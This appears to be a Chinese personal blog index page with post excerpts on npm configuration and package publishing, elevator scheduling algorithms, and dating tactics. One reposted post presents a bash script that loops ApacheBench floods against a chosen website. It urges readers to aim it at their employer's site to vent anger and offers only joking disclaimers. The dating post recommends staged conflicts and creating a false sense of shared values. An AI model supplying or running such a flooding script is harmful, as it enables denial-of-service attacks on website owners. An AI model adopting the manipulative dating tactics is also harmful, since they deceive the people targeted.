nodejs全局安装路径的位置

  |  
 阅读次数

一般nodejs安装在默认的C盘,如果不知道安装在哪里,可以打开控制面板-系统和安全-系统-高级配置中找到

变量路径

所谓全局安装:

是指安装在nodenode_module的根目录里,可以在电脑的任何位置调用这个方法。

那么,如何在找到全局安装的位置呢?

方法一:

设置到自己想要放的位置:


打开:nodejs安装目录/node_modules/npm/.npmrc这个文件,修改里面的路径

prefix = E:\nodejs\npm_global_modules

方法二:

使用快捷键 win+R ,输入cmd打开命令窗口,输入如下代码:

1
> npm config ls

npm配置


其中:prefix=C:\Users\Administrator\AppData\Roaming\npm就是我们全局安装了哪些方法的地方,如图:

安装路径

这时可以通过命令来更改路径

1
npm config set prefix E:\

阅读原文

npm 上传包

  |  
 阅读次数

npm上传包,github封装库

  1. github新建项目,上传项目,根据杨清项目配置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    {
    "name": "absweek",
    "version": "1.0.2",
    "description": "获取从1970.1.1 至今 绝对星期数",
    "private": false,
    "author": "LiSC <903317164@qq.com>",
    "license": "MIT",
    "repository": {
    "type": "git",
    "url": "https://github.com/SunOfHomeBoy/absWeek"
    },
    "main": "./index.js",
    "typings": "./index.d.ts",
    "scripts": {
    "build": "tsc --declaration true --noImplicitUseStrict --removeComments ./index.ts"
    },
    "dependencies": {}
    }
  2. 配置好项目 npm login

  3. npm publish . 上传项目
    NOTE: 版本号,项目名称禁止大写,Token,添加github地址,上传包之前编译。TS版,包声明。

  4. 在其他项目 npm install ‘包名’

  5. 引入,调用

持续进攻

  |  
 阅读次数

[转]BOSS开源软件(一):黑客帝国之持久进攻

使用说明:\
(1)该软件属于中华人民共和国的法定危险品,请谨慎使用。\
(2)该软件的推荐使用范围仅限于:对公司或上级领导不满,且不便于和他们多度交流时,可使公司相关的网站作为个人情绪的发泄对象。切不可伤害无辜。\
(3)声明:切不可把该软件作为凌弱之手段,切不可伤害无辜。\
(4)如果您多度使用而进了那个地方,这一切都是您刻苦钻研自学成才之结果,皆与本人无关。\
(5)该软件目前只支持Linux操作系统和苹果OSX操作系统,若需要Windows版本的,请自行研发。\
(6)软件使用者自感为黑客,且不熟悉Linux或OSX的,官方推荐:您还是早点投胎去吧,上帝会原谅您的过错的!

代码:\
(1) 打开Linux终端或OSX终端,新建文件h.sh \
(2) 编辑文件h.sh,并保存。代码内容如下:

1
2
3
4
5
6
7
8
#!/bin/bash
# 注释:下面变量DOMAIN可以修改成你需要的网站域名
DOMAIN="http://www.yourdomain.com/"
COUNT=1000
while true
do
ab -c $COUNT -n $COUNT $DOMAIN
done

(3) 添加h.sh的执行权限,输入命令:chmod +x h.sh\
(4) 执行软件,输入命令:./h.sh

注意事项:

  1. 如果系统提示找不到ab命令时,您需要自行安装ApacheWeb服务器。

    (1)在如CentOS/Fedora等Linux操作系统,输入命令:sudo yum install httpd

    (2)在如Ubuntu等Linux操作系统,输入命令:sudo apt-get install httpd

    (3)在苹果OSX,只需在官方下载相应的安装包进行安装即可

  2. 您修改代码的DOMAIN变量却会不断出现类似于帮助的信息时,请先按Ctrl+C终止当前执行进程,检查DOMAIN格式是否正确。

    例如:我们设置DOMAIN为百度,我们必需写成
    http://www.baidu.com/(注意反斜杠),而不能www.baidu.comhttp://www.baidu.com

  3. 如果您已经满足使用该软件的效果,请及时停止使用,按Ctrl+C终止该软件。

总结:

我们欢迎使用该软件在有限范围内用于发泄个人的不良情绪。

但我们需要再次提示:

该软件属于中华人民共和国的法定危险品,请谨慎使用。

撩妹套路

  |  
 阅读次数

转载知乎聊天套路

写在前面的话:

聊天的确有套路,但套路也只是一套标准化的说法、技巧。应该学习套路的思想,拒绝照搬套路。只有真诚的付出,加上合理的聊天方式才是社交求偶的不二法门。

从这篇我们能学到 寻找话题、把握交谈的节奏和时机,还有尊重女性。

但这并不是一切,

1.寻找切入话题

通过头像、昵称、签名、空间动态、朋友圈、留言板等公开信息找到她的兴趣爱好、特别讨厌的事物、一些个人的小习惯。

例一:你发现\
①:她喜欢听周杰伦。\
②:她喜欢听万青。\
③:她喜欢打羽毛球。\
④:她喜欢美剧。\
⑤:她讨厌鹿晗。\
⑥:她讨厌不清不楚的男女暧昧关系。\
⑦:她特别不喜欢吃菠萝。\
⑧:她有每天起床后喝一杯热水的习惯。\
⑨:她有每天晚上跑步的习惯。

你会选择哪个话题切入呢?\
正确答案是②、④、⑥、⑧。\
前期话题切入优先选择小众或深度类、并形成“他乡遇故知”和“同仇敌忾”的局面。

当然其它选项也不要忘了、在后期仍然有很大的用处。

2.负起带节奏的重担

①:知识面要广、不必什么都懂、但什么你都能说上两句。\
②:有趣机智脑回路清奇以求脱颖而出、这里考验的是段子储备量和临场反应。烂大街的梗就不要用了、只会让你显得更加无趣。前期幽默的形式以自黑为主、中后期以黑她为主、当然是不伤大雅的那种黑。\
③:前期做一个合格的捧哏,不要喧宾夺主。当一个话题结束时,立刻从她的近几条消息中找到开始下一个话题的关键词,过渡要自然。中后期做一个合格的逗哏、不要冷场。可以开始分享自己有趣的故事了、但要注意观察对面的反应随时调整。\
④:拒绝尬聊。在发现话题进行不下去的时候、请找个借口赶紧溜了、再多说一句都可能会死。\
⑤:换位思考。你打出一行字后或准备说出一句话时、先把自己带入到她的位置、如果你发现这行字给人一种“不知道回复什么才好”的感觉、那么删了这行字、再打一行字并重复步骤。相信我、行云流水的聊天体验是每个人都喜欢的。\
⑥:先人一步。这个难度系数较高、首先要合理预测她对某事物的看法、在她没开口前、你先把这个看法说了。这个做法会形成“三观合、默契、偶遇知音”的假象。\
⑦:可以给她一个专属代称、就是只有你才会那么叫她的那种。\
⑧:从以前的聊天记录或面谈中找到几个有趣的梗、这些梗这么有意思千万不能浪费、放心重复吧、不会烂的。\
⑨:无论如何、一定要尊重她、开玩笑要懂得分寸、这是底线

3.控场

①:表白不是冲锋的号角、而是胜利时的鸣金收兵。毕竟自古表白多白表、从来姻缘少原因。上来就说“我龙傲天从今天开始追你了”、你怕不是个傻子。\
②:前期你可以每天主动聊天、但到中后期一定要克制住自己冲动、等她来找你、如果她不主动、那就是你前面做的不够好。千万不能让她觉得你整天什么事没有、就知道和她扯淡。\
③:制造完全可控的小冲突小矛盾小冷战、把握好度、这个玩好了可以很快的提高感情基础。\
④:制造强烈反差对比、不是忽冷忽热、而是常态热偶尔冷。

例二:\
一起出去玩,要买水果。路过菠萝的时候你可以不经意的说一句“我也不喜欢吃菠萝、不知道这反人类的东西为什么存在”。路过操场的时候你就可以说一句“真搞不懂这些人大晚上跑什么步、这明明是清晨做的事”。

心理距离很重要、太冒进会容易让女生起戒备心。

你只要一下走了太多就一定要在合适的时候后退一点、一直走进会形成跪舔的局面、一直后退会让她觉得你是个傻逼。在来回踱步的过程中、你会惊奇的发现你们已经可以无话不说了、甚至距离近到只要一伸手、就可以抱到她。

4.鸣金收兵

女生以情绪为导向做出决定。

一些小事往往是最能影响情绪的、别整天只顾着说情话、多做一点、她不瞎、都能看到的。

直到有一天、她嘴里哼着“明明你也很爱我、没理由爱不到结果”、她其实还是不明白为什么爱不到结果。

但这并不妨碍她在接下来的某个瞬间就变成了你的女朋友。她什么也没想、反正、跟着心情走、这就是女生。

写在后面的话

如果你已经追上心爱的女孩了。

可你的噩梦才刚刚开始

追女生容易, 经营、运行一段恋情走下去才是最难的。

电梯调度算法

  |  
 阅读次数

电梯调度算法

—传统电梯调度算法—

1.1 先来先服务算法(FCFS)

先来先服务(FCFS-First Come First Serve)算法

1.2 最短寻找楼层时间优先算法(SSTF)

1.3 扫描算法(SCAN)

1.4 LOOK 算法

1.5 SATF 算法

—实时电梯调度算法—

2.1 最早截止期优先调度算法

2.2 SCAN-EDF 算法

2.3 PI 算法

2.4 FD-SCAN 算法

—电梯调度高水平研究—

以上两节介绍了几种简单的电梯调度算法。

但是并不是说目前电梯调度只发展到这个层次。目前电梯的控制技术已经进入了电梯群控的时代。

随着微机在电梯系统中的应用和人工智能技术的发展,智能群控技术得以迅速发展起来。

由此,电梯的群控方面陆续发展出了一批新方法,包括:
基于专家系统的电梯群控方法、
基于模糊逻辑的电梯群控方法、
基于遗产算法的电梯群控方法、
基于神经网络的电梯群控方法、
基于模糊神经网络的电梯群控方法。

—电梯问题的需求分析—

4.1 电梯的初始状态

4.2 电梯基本功能

4.3 电梯按钮功能

结束语

可能这些算法都不是一个最佳方案,只是它确实解决了一定情况的问题。

但是,对一个优秀的程序员而言,研究各种算法是无比快乐的。

查看原文

另:
【知名互联网公司面试中常见的算法题】